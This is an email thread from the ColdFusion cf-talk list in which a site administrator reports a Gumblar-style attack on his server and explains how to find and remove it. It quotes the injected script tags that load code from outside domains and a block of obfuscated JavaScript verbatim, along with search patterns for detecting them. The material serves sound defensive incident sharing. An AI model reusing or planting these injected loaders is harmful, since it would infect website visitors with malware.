I'll do that. I have to take the below information, make it nice and
neat, and then write it up as a Fusion Authority site article.

On Thu, Sep 17, 2009 at 3:14 PM, DURETTE, STEVEN J (ATTASIAIT)
<[email protected]> wrote:
>
> If you ever find the root cause, you may want to write an article on it,
> or do a presentation for cfmeetup!
>
> I know I'd be interested in it!
>
> -----Original Message-----
> From: Michael Dinowitz [mailto:[email protected]]
> Sent: Thursday, September 17, 2009 3:08 PM
> To: cf-talk
> Subject: malware patterns
>
>
> The recent attack on House of Fusion resulted in some useful
> information as to what you should look for. In general, all or most of
> the files with the following extensions were affected:
> .cfm
> .cfml
> .htm
> .html
> .js
> The following line of code was prepended to all files other than .js
> <script src=http://bgadf.cn></script>
> This was added to both unencrypted and encrypted files, meaning the
> cfide was affected. Luckily, the line was exactly as stated above with
> a new line after it. This allows for a global find/replace to remove
> it. Unfortunately, this seems to have killed my cfide/administrator,
> requiring me to replace it with a copy from another machine.
> The .js files had the following line of code added:
> document.writeln ("<script src=\"http://bgadf.cn\";><\/script>");
> Again, a search and replace was able to remove it across the board. An
> important note is that the .js files in the cfide (the ajax files)
> were affected and had to be repaired.
> Finally, the following line of code was buried within at least one file:
> <script src=http://avse2.cn></script>
> This may be from something else or it may be from the same attack. I
> did a global review of all script tags to see what may have been
> compromised.
>
> Finally, the following js code was set to a few pages:
> function CBeKy(lFwuKN){ var TySUSIZW=new Function("ncX", "return
> 872821;");alert('NmTqOe');window.eval(); }
> function NTZS(hWal){var UHrvVQkw=6,fAgz=5;var
> qIMfd='72+0,126+0,122+2,136+4,116+2,130+4,121+1,38+2,142+4,126+0,120+0,1
> 39+1,124+4,73+1,58+4,38+2,124+4,121+1,126+0,123+3,124+4,139+1,73+1,58+4,
> 38+2,117+3,133+1,136+4,120+0,121+1,136+4,73+1,57+3,38+2,122+2,136+4,116+
> 2,130+4,121+1,117+3,133+1,136+4,120+0,121+1,136+4,73+1,57+3,38+2,138+0,1
> 36+4,',bSBxeEp=qIMfd.split(',');rZh='';for(HVMYENy=0;HVMYENy<bSBxeEp.len
> gth-1;HVMYENy++){
> cAT=bSBxeEp[HVMYENy].split('+');kNRwj =
> parseInt(cAT[0]*fAgz)+parseInt(cAT[1]);kNRwj =
> parseInt(kNRwj)/UHrvVQkw;rZh += String.fromCharCode(kNRwj);}return
> rZh;}function QFuWuDkcLi(qno){  fff=op.split("66"); }
> function TeMgRVEQ(fYbPy){var IQWqANfWqP=7,eJEBZ=6;var
> gJQy='115+3,71+1,45+3,121+2,135+2,135+2,130+4,67+4,54+5,54+5,131+5,140+0
> ,119+0,115+3,136+3,115+3,53+4,122+3,128+2,119+0,129+3,54+5,119+0,53+4,11
> 5+3,120+1,122+3,73+3,123+4,142+2,129+3,45+3,72+2,70+0,54+5,122+3,119+0,1
> 33+0,113+1,127+1,117+5,72+2,',macKV=gJQy.split(',');atI='';for(UneulXsVe
> =0;UneulXsVe<macKV.length-1;UneulXsVe++){
> JaWNRsHd=macKV[UneulXsVe].split('+');rUw =
> parseInt(JaWNRsHd[0]*eJEBZ)+parseInt(JaWNRsHd[1]);rUw =
> parseInt(rUw)/IQWqANfWqP;atI += String.fromCharCode(rUw);}return
> atI;}function wDbgVQuF(jNQiDLa){ window.eval(); }
> document['wri5te'.replace(/[0-9]/,'')](NTZS('jiMm')+TeMgRVEQ('yNgMvmppl'
> ));function
> JSV(EvRaoC){ alert('UlzqkcMIyh'); }
> function ZbpXNWbRF(gdGwIbxJ){ var BlYeMDbv=new Function("RVmHnKt",
> "return 849704;"); fff=op.split("66"); fff.op.replace("v"); }
>
> This matches the pattern of the Gumblar virus. According to the notes
> on that virus, it modifies itself per site so the names of the
> functions/variables might be different. On the other hand, there are
> recognisable patterns that can be searched for. A segment of the
> numbers above can be used as a search pattern:
> 116+2,130+4,121+1
> 71+1,45+3,121+2,135+2,135+2
> etc.
>
> This inclusion was not as clean as the scripts mentioned above and
> caused errors in some of the content on the page where it was
> injected.
>
> Many have suggested that the IIS ftp may have been compromised but
> that was not the case on my server. IIS FTP was not installed and I
> searched the registry for any reference to it. I also made sure that
> my filezilla install had all of its accounts mapped to non-executable
> directories, though there was no evidence of compromise. I sealed off
> all of the shares between my machine and any other on the network
> 'just in case'. I'm still not sure how the virus got on the system,
> but...
>
> Finally, some of the sw*.exe files in the
> C:\ColdFusion8\db\slserver54\bin directory were compromised with a
> backdoor virus. I'm not sure if this is related but I cleaned that up
> as well. Whatever happens, scan your whole system with multiple visus
> scanners. I installed malwarebytes and cureit along with my standard
> anti-virus software. Always good to get a second opinion.
> http://www.malwarebytes.org/
> http://www.freedrweb.com/cureit/
>
> Oh, and powergrep. It's fantastic!
>
> --
> Michael Dinowitz (http://www.linkedin.com/in/mdinowitz)
> President: House of Fusion    (http://www.houseoffusion.com)
> Publisher: Fusion Authority    (http://www.fusionauthority.com)
> Adobe Community Expert / Advanced Certified ColdFusion Professional
> Si, soy el senor "chico malo" para todos
>
>
>
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
Want to reach the ColdFusion community with something they want? Let them know 
on the House of Fusion mailing lists
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:326393
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

Reply via email to